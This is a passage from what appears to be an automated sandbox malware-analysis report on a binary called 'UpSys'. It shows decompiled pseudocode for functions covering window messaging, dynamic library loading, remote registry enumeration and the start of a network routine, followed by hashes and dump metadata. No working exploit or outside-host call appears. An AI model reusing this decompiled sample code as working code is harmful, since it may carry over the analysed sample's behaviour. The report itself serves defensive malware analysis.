				 *((intOrPtr*)(_t126 + 0x30)) = __edx;
				if ( *((intOrPtr*)(_t126 + 0x2f8)) == 0) goto 0x4007418e;
				E000000011400428E0( *((intOrPtr*)(_t126 + 0x2f8)), _t157);
				if ( *((char*)(_t126 + 0x68)) == 0) goto 0x400740f9;
				_t123 =  *0x400c6ac8; // 0x3264820
				_t124 =  *((intOrPtr*)( *((intOrPtr*)(_t123 +  *(_t160 + 0x88) * 8))));
				_t64 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t123 +  *(_t160 + 0x88) * 8)))) + 0xf7));
				if (_t64 == 0xff) goto 0x400741c0;
				if ((_t64 & 0x000000ff) !=  *((intOrPtr*)(_t126 + 0x29c))) goto 0x400740f9;
				r8d = 0;
				E00000001140065D80(_t126, 0x400c6a00, _t126);
				r13d =  *((intOrPtr*)(_t126 + 0x27c));
				r14d =  *((intOrPtr*)(_t126 + 0x280));
				_t54 = r12b & 0xffffffff;
				r15b = 0;
				_t90 = _t54 - 9;
				if (_t90 > 0) goto 0x40074311;
				if (_t90 == 0) goto 0x40074380;
				if (r12b == 0) goto 0x40074303;
				_t92 = _t54 - 1;
				if (_t92 == 0) goto 0x40074303;
				if (_t92 <= 0) goto 0x400743b8;
				if (_t54 - 3 <= 0) goto 0x40074245;
				if (_t54 == 4) goto 0x40074356;
				if (_t54 == 5) goto 0x40074396;
				if (_t54 == 6) goto 0x40074356;
				if (_t54 == 7) goto 0x40074380;
				if (_t54 == 8) goto 0x40074396;
				goto 0x400743b8;
				if (_t74 == 0) goto 0x40074396;
				if (_t74 != 0x300) goto 0x40074292;
				_t66 =  *(_t126 + 0x2e8);
				if (_t66 <= 0) goto 0x40074287;
				if (_t66 == _t75) goto 0x40074287;
				 *(_t126 + 0x2e8) =  *(_t126 + 0x2e8) & 0x00000000;
				 *((intOrPtr*)(_t160 + 0x28)) = r14d;
				 *((intOrPtr*)(_t160 + 0x20)) = r13d;
				E00000001140060990(_t66,  *((intOrPtr*)( *((intOrPtr*)(_t123 +  *(_t160 + 0x88) * 8)))), _t126, 0x400c6a00, _t126,  *_t157, __r11);
				 *(_t126 + 0x2e8) = _t75;
				goto 0x400743b8;
				if (_t74 != 0x200) goto 0x400743b8;
				if ( *(_t157 + 0xf4) != 2) goto 0x400742c4;
				SendMessageW(_t182, _t180);
				_t68 =  *(_t126 + 0x2e8);
				if (_t68 <= 0) goto 0x400743b8;
				if (_t68 != _t75) goto 0x400743b8;
				 *(_t126 + 0x2e8) =  *(_t126 + 0x2e8) & 0x00000000;
				_t172 =  *_t157;
				 *((intOrPtr*)(_t160 + 0x28)) = r14d;
				 *((intOrPtr*)(_t160 + 0x20)) = r13d;
				_t57 = E00000001140060990(_t68,  *((intOrPtr*)( *((intOrPtr*)(_t123 +  *(_t160 + 0x88) * 8)))), _t126, 0x400c6a00, _t126, _t172, __r11);
				goto 0x400743b8;
				if (_t74 != 1) goto 0x400743b8;
				goto 0x40074396;
				if (_t57 == 0xa) goto 0x40074384;
				if (_t57 - 0xd <= 0) goto 0x400743b8;
				if (_t57 - 0x16 <= 0) goto 0x40074396;
				_t111 = _t57 - 0x17;
				if (_t111 == 0) goto 0x40074356;
				if (_t111 <= 0) goto 0x400743b8;
				if (_t57 - 0x19 <= 0) goto 0x40074380;
				if (_t57 == 0x1a) goto 0x40074346;
				if (_t57 == 0x1b) goto 0x40074380;
				goto 0x4007423a;
				_t58 = IsDlgButtonChecked(_t178);
				goto 0x40074306;
				GetWindowLongW(_t176);
				asm("bt eax, 0x14");
				if (_t58 - 1 >= 0) goto 0x40074380;
				r9d = 0;
				_t38 = _t172 + 2; // 0x2
				r8d = _t38;
				SendMessageW(_t152, ??, ??);
				goto 0x40074306;
				r8d = _t74;
				E0000000114004CC30();
				 *((intOrPtr*)(_t160 + 0x28)) = r14d;
				 *((intOrPtr*)(_t160 + 0x20)) = r13d;
				E00000001140060990(_t75, _t124, _t126, 0x400c6a00, _t126,  *_t157, __r11);
				r15b = 1;
				_t143 =  *0x400c6ac8; // 0x3264820
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t143 +  *(_t160 + 0x88) * 8)))) + 0x90)) == 0) goto 0x400743eb;
				r9d = 0;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				return r15b;
			}































                                                                                                                                                                                                        0x1400740c0
                                                                                                                                                                                                        0x1400740c3
                                                                                                                                                                                                        0x1400740c7
                                                                                                                                                                                                        0x1400740cb
                                                                                                                                                                                                        0x1400740d8
                                                                                                                                                                                                        0x1400740dc
                                                                                                                                                                                                        0x1400740ee
                                                                                                                                                                                                        0x1400740f7
                                                                                                                                                                                                        0x1400740fb
                                                                                                                                                                                                        0x140074100
                                                                                                                                                                                                        0x14007410d
                                                                                                                                                                                                        0x140074118
                                                                                                                                                                                                        0x140074122
                                                                                                                                                                                                        0x140074129
                                                                                                                                                                                                        0x140074131
                                                                                                                                                                                                        0x140074134
                                                                                                                                                                                                        0x14007413e
                                                                                                                                                                                                        0x140074144
                                                                                                                                                                                                        0x140074149
                                                                                                                                                                                                        0x14007414f
                                                                                                                                                                                                        0x140074154
                                                                                                                                                                                                        0x140074159
                                                                                                                                                                                                        0x140074161
                                                                                                                                                                                                        0x140074167
                                                                                                                                                                                                        0x14007416d
                                                                                                                                                                                                        0x140074176
                                                                                                                                                                                                        0x14007417c
                                                                                                                                                                                                        0x140074181
                                                                                                                                                                                                        0x140074192
                                                                                                                                                                                                        0x140074198
                                                                                                                                                                                                        0x1400741a3
                                                                                                                                                                                                        0x1400741a6
                                                                                                                                                                                                        0x1400741af
                                                                                                                                                                                                        0x1400741ba
                                                                                                                                                                                                        0x1400741c7
                                                                                                                                                                                                        0x1400741cd
                                                                                                                                                                                                        0x1400741d2
                                                                                                                                                                                                        0x1400741d9
                                                                                                                                                                                                        0x1400741e0
                                                                                                                                                                                                        0x1400741e4
                                                                                                                                                                                                        0x1400741e7
                                                                                                                                                                                                        0x1400741ea
                                                                                                                                                                                                        0x1400741f0
                                                                                                                                                                                                        0x1400741f9
                                                                                                                                                                                                        0x1400741ff
                                                                                                                                                                                                        0x140074202
                                                                                                                                                                                                        0x140074208
                                                                                                                                                                                                        0x140074211
                                                                                                                                                                                                        0x140074216
                                                                                                                                                                                                        0x14007421f
                                                                                                                                                                                                        0x140074228
                                                                                                                                                                                                        0x140074231
                                                                                                                                                                                                        0x14007423a
                                                                                                                                                                                                        0x140074240
                                                                                                                                                                                                        0x140074247
                                                                                                                                                                                                        0x140074253
                                                                                                                                                                                                        0x140074255
                                                                                                                                                                                                        0x14007425d
                                                                                                                                                                                                        0x140074261
                                                                                                                                                                                                        0x140074263
                                                                                                                                                                                                        0x140074278
                                                                                                                                                                                                        0x14007427d
                                                                                                                                                                                                        0x140074282
                                                                                                                                                                                                        0x140074287
                                                                                                                                                                                                        0x14007428d
                                                                                                                                                                                                        0x140074298
                                                                                                                                                                                                        0x1400742a5
                                                                                                                                                                                                        0x1400742be
                                                                                                                                                                                                        0x1400742c4
                                                                                                                                                                                                        0x1400742cc
                                                                                                                                                                                                        0x1400742d4
                                                                                                                                                                                                        0x1400742da
                                                                                                                                                                                                        0x1400742e1
                                                                                                                                                                                                        0x1400742ef
                                                                                                                                                                                                        0x1400742f4
                                                                                                                                                                                                        0x1400742f9
                                                                                                                                                                                                        0x1400742fe
                                                                                                                                                                                                        0x140074306
                                                                                                                                                                                                        0x14007430c
                                                                                                                                                                                                        0x140074314
                                                                                                                                                                                                        0x140074319
                                                                                                                                                                                                        0x140074322
                                                                                                                                                                                                        0x140074324
                                                                                                                                                                                                        0x140074327
                                                                                                                                                                                                        0x140074329
                                                                                                                                                                                                        0x140074332
                                                                                                                                                                                                        0x140074337
                                                                                                                                                                                                        0x14007433c
                                                                                                                                                                                                        0x140074341
                                                                                                                                                                                                        0x14007434b
                                                                                                                                                                                                        0x140074354
                                                                                                                                                                                                        0x14007435f
                                                                                                                                                                                                        0x140074365
                                                                                                                                                                                                        0x140074369
                                                                                                                                                                                                        0x14007436e
                                                                                                                                                                                                        0x140074376
                                                                                                                                                                                                        0x140074376
                                                                                                                                                                                                        0x14007437a
                                                                                                                                                                                                        0x140074382
                                                                                                                                                                                                        0x14007438b
                                                                                                                                                                                                        0x140074391
                                                                                                                                                                                                        0x1400743a6
                                                                                                                                                                                                        0x1400743ab
                                                                                                                                                                                                        0x1400743b0
                                                                                                                                                                                                        0x1400743b5
                                                                                                                                                                                                        0x1400743b8
                                                                                                                                                                                                        0x1400743d8
                                                                                                                                                                                                        0x1400743da
                                                                                                                                                                                                        0x1400743dd
                                                                                                                                                                                                        0x1400743e5
                                                                                                                                                                                                        0x14007440b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3850602802-0
                                                                                                                                                                                                        • Opcode ID: 9772671ec23b7da50b4655631778fd62805575307df9ccf064f59e8e5e2ddb13
                                                                                                                                                                                                        • Instruction ID: 3d6adc8ae2c55392b5f4103efc2cf2297aac9f4ada07f31d1b9303497b6d7298
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9772671ec23b7da50b4655631778fd62805575307df9ccf064f59e8e5e2ddb13
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CB91697620068185EBB69B27D4843ED23A5F38CBD8F598526FB4E876B5CB3CC685C701
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140076030 Relevance: 7.6, APIs: 5, Instructions: 142libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 83%
                                                                                                                                                                                                        			E00000001140076030(void* __ebx, void* __ecx, void* __esi, void* __eflags, long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8) {
				void* _v24;
				char _v56;
				long long _v64;
				long long _v72;
				long long _v80;
				char _v88;
				void* _t47;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t70;
				void* _t73;
				void* _t76;
				void* _t81;
				void* _t82;
				void* _t93;
				intOrPtr* _t94;
				long long _t95;
				long long _t101;
				intOrPtr* _t151;
				intOrPtr* _t154;
				void* _t156;
				void* _t159;
				struct HINSTANCE__* _t164;
				void* _t167;
				WCHAR* _t170;

				_t159 = __r8;
				_t82 = __eflags;
				_t81 = __esi;
				_t76 = __ecx;
				_t93 = _t156;
				 *((long long*)(_t93 + 8)) = __rbx;
				 *((long long*)(_t93 + 0x10)) = __rbp;
				 *((long long*)(_t93 + 0x18)) = __rsi;
				 *((long long*)(_t93 + 0x20)) = __rdi;
				_t94 =  *((intOrPtr*)(__r8 + 8));
				_t151 = __rcx;
				_t154 = __rdx;
				E00000001140011960(_t47,  *((intOrPtr*)(_t94 + 0x10)));
				r14b = dil;
				_v88 =  *_t94;
				_v80 =  *((intOrPtr*)(_t94 + 8));
				_t95 =  *((intOrPtr*)(_t94 + 0x18));
				 *_t95 =  *_t95 + 1;
				_v64 = _t95;
				_v72 =  *((intOrPtr*)(_t94 + 0x10));
				if (E00000001140050340(_t82,  *((intOrPtr*)(__r8 + 8))) == dil) goto 0x400760bb;
				E00000001140062190( *((intOrPtr*)(__r8 + 8)),  *((intOrPtr*)( *((intOrPtr*)(__r8 + 8)))));
				LoadLibraryW(_t170);
				r14b = 1;
				goto 0x40076101;
				if (E00000001140010880( *((intOrPtr*)(__r8 + 8))) <= 0) goto 0x400760fe;
				if (E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__r8 + 8))))) - __ebx > 0) goto 0x400760fe;
				E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__r8 + 8)))));
				goto 0x40076101;
				if (__rdi != __rdi) goto 0x4007612d;
				r8d = 0;
				_t22 = _t159 + 1; // 0x1
				E00000001140002610(E0000000114000FCA0(_t22,  *_t151, __rdi,  *((intOrPtr*)( *_t151 + 4)) + _t151, _t151, _t167), __rdi,  &_v88);
				goto 0x4007622f;
				_t101 =  *((intOrPtr*)(__r8 + 8));
				if (E00000001140050340(__rdi - __rdi, _t101) == dil) goto 0x4007617a;
				E00000001140011A60(_t101,  &_v56);
				E00000001140070C10(__ebx, _t76, _t22, _t81, E00000001140050340(__rdi - __rdi, _t101) - dil, __rdi,  &_v56,  &_v88);
				_t62 = GetProcAddress(_t164);
				 *((long long*)(__rdx)) = _t101;
				E00000001140002610(_t62, __rdi,  &_v56);
				goto 0x40076192;
				E00000001140010880( *((intOrPtr*)(_t101 + 0x10)));
				GetProcAddress(??, ??);
				 *((long long*)(__rdx)) = _t101;
				if ( *__rdx != __rdi) goto 0x4007621f;
				if (E00000001140050340( *__rdx - __rdi, _t101) == dil) goto 0x400761f3;
				E000000011400037E0(0x41,  &_v88, _t151);
				E00000001140011A60(_t101,  &_v56);
				E00000001140070C10(__ebx, _t76, 0x41, _t81, E00000001140050340( *__rdx - __rdi, _t101) - dil, __rdi,  &_v56,  &_v88);
				_t70 = GetProcAddress(??, ??);
				 *_t154 = _t101;
				E00000001140002610(_t70, __rdi,  &_v56);
				if ( *_t154 != __rdi) goto 0x4007621f;
				if (r14b == dil) goto 0x40076207;
				FreeLibrary(??);
				r8d = 0;
				_t40 = _t159 + 3; // 0x3
				_t73 = E0000000114000FCA0(_t40,  *_t151, __rdi,  *((intOrPtr*)( *_t151 + 4)) + _t151, _t151);
				goto 0x40076222;
				return E00000001140002610(_t73, __rdi,  &_v88);
			}



























                                                                                                                                                                                                        0x140076030
                                                                                                                                                                                                        0x140076030
                                                                                                                                                                                                        0x140076030
                                                                                                                                                                                                        0x140076030
                                                                                                                                                                                                        0x140076030
                                                                                                                                                                                                        0x140076033
                                                                                                                                                                                                        0x140076037
                                                                                                                                                                                                        0x14007603b
                                                                                                                                                                                                        0x14007603f
                                                                                                                                                                                                        0x14007604d
                                                                                                                                                                                                        0x140076051
                                                                                                                                                                                                        0x14007605b
                                                                                                                                                                                                        0x14007605e
                                                                                                                                                                                                        0x140076068
                                                                                                                                                                                                        0x14007606b
                                                                                                                                                                                                        0x140076074
                                                                                                                                                                                                        0x14007607d
                                                                                                                                                                                                        0x140076081
                                                                                                                                                                                                        0x140076083
                                                                                                                                                                                                        0x140076090
                                                                                                                                                                                                        0x1400760a3
                                                                                                                                                                                                        0x1400760a5
                                                                                                                                                                                                        0x1400760ad
                                                                                                                                                                                                        0x1400760b3
                                                                                                                                                                                                        0x1400760b9
                                                                                                                                                                                                        0x1400760c2
                                                                                                                                                                                                        0x1400760da
                                                                                                                                                                                                        0x1400760e4
                                                                                                                                                                                                        0x1400760fc
                                                                                                                                                                                                        0x140076104
                                                                                                                                                                                                        0x140076109
                                                                                                                                                                                                        0x140076110
                                                                                                                                                                                                        0x140076121
                                                                                                                                                                                                        0x140076128
                                                                                                                                                                                                        0x14007612d
                                                                                                                                                                                                        0x140076141
                                                                                                                                                                                                        0x140076148
                                                                                                                                                                                                        0x140076157
                                                                                                                                                                                                        0x140076164
                                                                                                                                                                                                        0x14007616f
                                                                                                                                                                                                        0x140076173
                                                                                                                                                                                                        0x140076178
                                                                                                                                                                                                        0x14007617d
                                                                                                                                                                                                        0x140076188
                                                                                                                                                                                                        0x14007618e
                                                                                                                                                                                                        0x140076196
                                                                                                                                                                                                        0x1400761ad
                                                                                                                                                                                                        0x1400761b9
                                                                                                                                                                                                        0x1400761c3
                                                                                                                                                                                                        0x1400761d2
                                                                                                                                                                                                        0x1400761df
                                                                                                                                                                                                        0x1400761ea
                                                                                                                                                                                                        0x1400761ee
                                                                                                                                                                                                        0x1400761f7
                                                                                                                                                                                                        0x1400761fc
                                                                                                                                                                                                        0x140076201
                                                                                                                                                                                                        0x14007620a
                                                                                                                                                                                                        0x140076211
                                                                                                                                                                                                        0x140076218
                                                                                                                                                                                                        0x14007621d
                                                                                                                                                                                                        0x14007624d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressProc$Library$FreeLoad
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2449869053-0
                                                                                                                                                                                                        • Opcode ID: d2af96c47f293600df708d8e69193df10d5fbd446b11001fe4b1b92028502776
                                                                                                                                                                                                        • Instruction ID: 4ead4861e543893b93c4ffba1b14992348dc267d2b8b8a6dc0f6f38503c9bd7c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d2af96c47f293600df708d8e69193df10d5fbd446b11001fe4b1b92028502776
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 44516936205A8882EA66EF27E4957ED6360F78CBC4F898012FF8E47766CE39C541C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007D990 Relevance: 7.6, APIs: 5, Instructions: 139registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 60%
                                                                                                                                                                                                        			E0000000114007D990(void* __ebx, void* __ecx, void* __edx, void* __esi, void* __eflags, void* __rax, signed long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r10, void* __r11, void* __r12, signed long long _a8, long long _a16, signed long long _a24, signed long long _a32, signed long long _a40, char _a48, char _a56, char _a64, char _a72, long long _a80, long long _a88, long long _a96, char _a104, char _a136, char _a168, long long _a176, long long _a184, long long _a192, char _a200, void* _a33016, signed int _a33024, intOrPtr _a33040) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t73;
				void* _t89;
				void* _t90;
				void* _t98;
				long long _t111;
				signed long long _t115;
				intOrPtr* _t118;
				void* _t158;
				void* _t159;
				void* _t160;
				signed long long* _t167;

				_t106 = __rax;
				_t98 = __eflags;
				_t90 = __edx;
				_t89 = __ecx;
				_a8 = __rbx;
				E00000001140030CB0(0x80f0, __rax, __r10, __r11);
				_a40 = _a40 & 0x00000000;
				_t118 = __rcx;
				_t159 = __r8;
				_t160 = __rdx;
				_a33040 = 0x3fff;
				E0000000114000FD50(__rax, __rcx,  &_a104);
				E0000000114000FD50(_t106, _t118,  &_a72);
				E0000000114000FD50(_t106, _t118,  &_a136);
				E00000001140012D80(_t90, _t106, _t118, __r8, 0x4009b6c0, __r8, __r8);
				E00000001140062190(_a8,  *_a8);
				E00000001140001D30(_a8, _t118,  &_a168, _a8);
				_a8 =  &_a136;
				E00000001140075290(__ebx, _t89, __esi,  &_a136, _t118, _a8, _t158, _t159, _t160,  &_a104,  &_a72, __r12);
				_a176 = _a80;
				_a184 = _a88;
				_t111 = _a96;
				 *_t111 =  *_t111 + 1;
				_a168 = _a72;
				_a192 = _t111;
				if (E000000011400750E0(_t90, __esi, _t98, _t111, _t118,  &_a168, _t159, _t160,  &_a64,  &_a33024) != 0) goto 0x4007daa6;
				r8d = 0;
				E0000000114000FCA0(2,  *_t118, _t118,  *((intOrPtr*)( *_t118 + 4)) + _t118, _t159);
				goto 0x4007dbd5;
				_t73 = E00000001140042380( *_t118,  &_a104);
				dil = _t73;
				if (_t73 != 0) goto 0x4007dae4;
				_t167 =  &_a40;
				if (RegConnectRegistryW(??, ??, ??) == 0) goto 0x4007dadd;
				goto 0x4007da8f;
				goto 0x4007dae9;
				r9d = _a33024;
				r9d = r9d | 0x00020019;
				r8d = 0;
				_a8 =  &_a48;
				if (RegOpenKeyExW(??, ??, ??, ??, ??) == 0) goto 0x4007db32;
				r8d = 0;
				_t37 = _t167 + 1; // 0x1
				E0000000114000FCA0(_t37,  *_t118, _t118,  *((intOrPtr*)( *_t118 + 4)) + _t118, _t159);
				goto 0x4007dbc5;
				_t115 = _a8;
				E00000001140010880( *((intOrPtr*)(_t115 + 8)));
				_a32 = _a32 & 0x00000000;
				_a24 = _a24 & 0x00000000;
				_a16 =  &_a56;
				_a8 = _a8 & 0x00000000;
				_t51 = _t115 - 1; // -1
				if (RegEnumValueW(??, ??, ??, ??, ??, ??, ??, ??) == 0) goto 0x4007db94;
				r8d = 0;
				E0000000114000FCA0(_t51 | 0xffffffff,  *_t118, _t118,  *((intOrPtr*)( *_t118 + 4)) + _t118, _t159);
				goto 0x4007dbba;
				E00000001140012D80(_t51 | 0xffffffff,  *_t118, _t118, _t159,  &_a200, _t159,  &_a200);
				r8d = 0;
				E0000000114000FC40(_a56,  *_t118, _t118,  *((intOrPtr*)( *_t118 + 4)) + _t118, _t159, _t160);
				RegCloseKey(??);
				if (dil != 0) goto 0x4007dbd5;
				E00000001140002610(E00000001140002610(E00000001140002610(RegCloseKey(??), _t118,  &_a136), _t118,  &_a72), _t118,  &_a104);
				return 0;
			}

















                                                                                                                                                                                                        0x14007d990
                                                                                                                                                                                                        0x14007d990
                                                                                                                                                                                                        0x14007d990
                                                                                                                                                                                                        0x14007d990
                                                                                                                                                                                                        0x14007d990
                                                                                                                                                                                                        0x14007d99d
                                                                                                                                                                                                        0x14007d9a5
                                                                                                                                                                                                        0x14007d9ab
                                                                                                                                                                                                        0x14007d9b6
                                                                                                                                                                                                        0x14007d9b9
                                                                                                                                                                                                        0x14007d9bc
                                                                                                                                                                                                        0x14007d9c7
                                                                                                                                                                                                        0x14007d9d1
                                                                                                                                                                                                        0x14007d9de
                                                                                                                                                                                                        0x14007d9ed
                                                                                                                                                                                                        0x14007d9f9
                                                                                                                                                                                                        0x14007da09
                                                                                                                                                                                                        0x14007da29
                                                                                                                                                                                                        0x14007da2e
                                                                                                                                                                                                        0x14007da3d
                                                                                                                                                                                                        0x14007da4a
                                                                                                                                                                                                        0x14007da52
                                                                                                                                                                                                        0x14007da5f
                                                                                                                                                                                                        0x14007da71
                                                                                                                                                                                                        0x14007da79
                                                                                                                                                                                                        0x14007da88
                                                                                                                                                                                                        0x14007da92
                                                                                                                                                                                                        0x14007da9c
                                                                                                                                                                                                        0x14007daa1
                                                                                                                                                                                                        0x14007daae
                                                                                                                                                                                                        0x14007dab3
                                                                                                                                                                                                        0x14007dab8
                                                                                                                                                                                                        0x14007dac7
                                                                                                                                                                                                        0x14007dad4
                                                                                                                                                                                                        0x14007dadb
                                                                                                                                                                                                        0x14007dae2
                                                                                                                                                                                                        0x14007dae9
                                                                                                                                                                                                        0x14007dafe
                                                                                                                                                                                                        0x14007db05
                                                                                                                                                                                                        0x14007db08
                                                                                                                                                                                                        0x14007db15
                                                                                                                                                                                                        0x14007db1a
                                                                                                                                                                                                        0x14007db21
                                                                                                                                                                                                        0x14007db28
                                                                                                                                                                                                        0x14007db2d
                                                                                                                                                                                                        0x14007db32
                                                                                                                                                                                                        0x14007db3a
                                                                                                                                                                                                        0x14007db3f
                                                                                                                                                                                                        0x14007db45
                                                                                                                                                                                                        0x14007db60
                                                                                                                                                                                                        0x14007db6a
                                                                                                                                                                                                        0x14007db70
                                                                                                                                                                                                        0x14007db7b
                                                                                                                                                                                                        0x14007db80
                                                                                                                                                                                                        0x14007db8d
                                                                                                                                                                                                        0x14007db92
                                                                                                                                                                                                        0x14007db9f
                                                                                                                                                                                                        0x14007dbaf
                                                                                                                                                                                                        0x14007dbb5
                                                                                                                                                                                                        0x14007dbbf
                                                                                                                                                                                                        0x14007dbc8
                                                                                                                                                                                                        0x14007dbf4
                                                                                                                                                                                                        0x14007dc0d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Close$ConnectEnumOpenRegistryValue
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1413298697-0
                                                                                                                                                                                                        • Opcode ID: 5cf563db3516a4894e12b7dbd8c33af9c582e81e6bce99ca80c7b2d6d3ef9575
                                                                                                                                                                                                        • Instruction ID: bab72c69075847ba7cc5583a38125e539a73455d8df641ea9e060b120b10ab89
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5cf563db3516a4894e12b7dbd8c33af9c582e81e6bce99ca80c7b2d6d3ef9575
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9861FA72218A8591EB61DF12E4917EEA364FBC97C4F808122FB8D47AA9DF38C545CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007F100 Relevance: 7.6, APIs: 5, Instructions: 132networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 49%
                                                                                                                                                                                                        			E0000000114007F100(void* __ecx, signed int __edx, signed int __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r9, long long _a8, char _a16, intOrPtr _a20, long long _a24, long long _a32) {
				void* _v24;
				long long _v544;
				intOrPtr _v552;
				char _v584;
				char _v616;
				long long _v632;
				unsigned int _t44;
				void* _t46;
				void* _t55;
				signed int _t59;
				unsigned int _t65;
				char _t66;
				signed int _t71;
				intOrPtr _t85;
				intOrPtr* _t88;
				long long _t125;
				void* _t129;
				void* _t136;
				void* _t138;
				void* _t139;

				_t136 = __r9;
				_t71 = __esi;
				_a8 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t88 = __rcx;
				_t129 = __r8;
				_t138 = __rdx;
				_t125 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				r13d = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8)));
				E00000001140012D80(__edx,  *((intOrPtr*)(__rdx + 8)), __rcx, __r8, 0x4009b6c0, _t125, __r8);
				if (_t125 != 0xffffffff) goto 0x4007f172;
				r8d = 0;
